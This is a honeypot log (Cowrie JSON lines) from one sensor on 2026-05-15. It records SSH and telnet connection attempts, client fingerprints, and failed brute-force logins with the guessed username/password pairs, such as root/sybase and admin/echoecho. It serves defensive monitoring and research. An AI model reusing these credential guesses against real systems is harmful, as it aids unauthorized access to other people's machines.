{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:06.071733Z","src_ip":"94.26.106.44","session":"a4d0781581bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":44496,"dst_ip":"10.17.0.5","dst_port":23,"session":"842bacf32b74","protocol":"telnet","message":"New connection: 167.71.238.254:44496 (10.17.0.5:23) [session: 842bacf32b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:07.860605Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":13948,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dbd500e1b92","protocol":"ssh","message":"New connection: 2.57.121.112:13948 (10.17.0.5:22) [session: 2dbd500e1b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:10.689867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:10.694473Z","src_ip":"2.57.121.112","session":"2dbd500e1b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:10.793845Z","src_ip":"2.57.121.112","session":"2dbd500e1b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"eden","message":"login attempt [admin/eden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:11.270700Z","src_ip":"2.57.121.112","session":"2dbd500e1b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ecstacy","message":"login attempt [admin/ecstacy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:12.374157Z","src_ip":"2.57.121.112","session":"2dbd500e1b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"echoecho","message":"login attempt [admin/echoecho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:13.477733Z","src_ip":"2.57.121.112","session":"2dbd500e1b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"eatcum","message":"login attempt [admin/eatcum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:14.581825Z","src_ip":"2.57.121.112","session":"2dbd500e1b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"eagle5","message":"login attempt [admin/eagle5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:15.686054Z","src_ip":"2.57.121.112","session":"2dbd500e1b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":51321,"dst_ip":"159.203.135.109","dst_port":22,"session":"20e32fa9011c","protocol":"ssh","message":"New connection: 41.181.156.205:51321 (159.203.135.109:22) [session: 20e32fa9011c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:16.131378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:16.136868Z","src_ip":"41.181.156.205","session":"20e32fa9011c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:16.384562Z","src_ip":"41.181.156.205","session":"20e32fa9011c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:16.788539Z","src_ip":"2.57.121.112","session":"2dbd500e1b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":35569,"dst_ip":"10.17.0.5","dst_port":22,"session":"4800b2ec4f3e","protocol":"ssh","message":"New connection: 154.117.199.5:35569 (10.17.0.5:22) [session: 4800b2ec4f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:17.196823Z"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:17.402163Z","src_ip":"41.181.156.205","session":"20e32fa9011c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:17.432565Z","src_ip":"154.117.199.5","session":"4800b2ec4f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:17.665341Z","src_ip":"154.117.199.5","session":"4800b2ec4f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:18.653469Z","src_ip":"41.181.156.205","session":"20e32fa9011c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":33537,"dst_ip":"10.17.0.5","dst_port":22,"session":"c194c4a613e8","protocol":"ssh","message":"New connection: 2.57.121.25:33537 (10.17.0.5:22) [session: c194c4a613e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:22.730644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:22.740766Z","src_ip":"2.57.121.25","session":"c194c4a613e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:22.848567Z","src_ip":"2.57.121.25","session":"c194c4a613e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hoes","message":"login attempt [user/hoes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:23.329279Z","src_ip":"2.57.121.25","session":"c194c4a613e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":36800,"dst_ip":"159.203.135.109","dst_port":22,"session":"cea339edc5bf","protocol":"ssh","message":"New connection: 163.245.222.56:36800 (159.203.135.109:22) [session: cea339edc5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:23.636179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:23.654575Z","src_ip":"163.245.222.56","session":"cea339edc5bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:23.662729Z","src_ip":"163.245.222.56","session":"cea339edc5bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:23.684772Z","src_ip":"163.245.222.56","session":"cea339edc5bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hitman47","message":"login attempt [user/hitman47] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:24.432918Z","src_ip":"2.57.121.25","session":"c194c4a613e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:24.692909Z","src_ip":"163.245.222.56","session":"cea339edc5bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hermione","message":"login attempt [user/hermione] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:25.540570Z","src_ip":"2.57.121.25","session":"c194c4a613e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hellow","message":"login attempt [user/hellow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:26.645269Z","src_ip":"2.57.121.25","session":"c194c4a613e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hellome","message":"login attempt [user/hellome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:27.749547Z","src_ip":"2.57.121.25","session":"c194c4a613e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:28.853463Z","src_ip":"2.57.121.25","session":"c194c4a613e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.34072613716125,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:31.476986Z","src_ip":"167.71.238.254","session":"271c433ae7a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0039415359497,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:33.887714Z","src_ip":"190.245.166.57","session":"d4e926198bda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":41230,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa8b662a0a0","protocol":"telnet","message":"New connection: 194.180.12.23:41230 (10.17.0.5:23) [session: ffa8b662a0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:38.433801Z"}
{"eventid":"cowrie.session.closed","duration":120.00286221504211,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:39.812827Z","src_ip":"190.245.166.57","session":"a8e1e996a6c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":36432,"dst_ip":"10.17.0.5","dst_port":22,"session":"aed1e4c49fca","protocol":"ssh","message":"New connection: 43.135.166.146:36432 (10.17.0.5:22) [session: aed1e4c49fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:18.372049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:18.376824Z","src_ip":"43.135.166.146","session":"aed1e4c49fca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:18.446170Z","src_ip":"43.135.166.146","session":"aed1e4c49fca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergio123","message":"login attempt [root/sergio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:18.753519Z","src_ip":"43.135.166.146","session":"aed1e4c49fca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:19.826005Z","src_ip":"43.135.166.146","session":"aed1e4c49fca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.38302397727966,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:22.816711Z","src_ip":"194.180.12.23","session":"ffa8b662a0a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":58732,"dst_ip":"159.203.135.109","dst_port":22,"session":"16056822a262","protocol":"ssh","message":"New connection: 163.245.222.56:58732 (159.203.135.109:22) [session: 16056822a262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:29.039050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:29.053551Z","src_ip":"163.245.222.56","session":"16056822a262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:29.062201Z","src_ip":"163.245.222.56","session":"16056822a262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw123","message":"login attempt [root/qazxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:29.246817Z","src_ip":"163.245.222.56","session":"16056822a262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:30.256798Z","src_ip":"163.245.222.56","session":"16056822a262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":35642,"dst_ip":"159.203.135.109","dst_port":22,"session":"3552bcaeed92","protocol":"ssh","message":"New connection: 41.181.156.205:35642 (159.203.135.109:22) [session: 3552bcaeed92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:45.863045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:45.874794Z","src_ip":"41.181.156.205","session":"3552bcaeed92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:46.121555Z","src_ip":"41.181.156.205","session":"3552bcaeed92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sybase","message":"login attempt [root/sybase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:47.140745Z","src_ip":"41.181.156.205","session":"3552bcaeed92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.22455048561096,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:48.085022Z","src_ip":"167.71.238.254","session":"842bacf32b74","protocol":"telnet"}
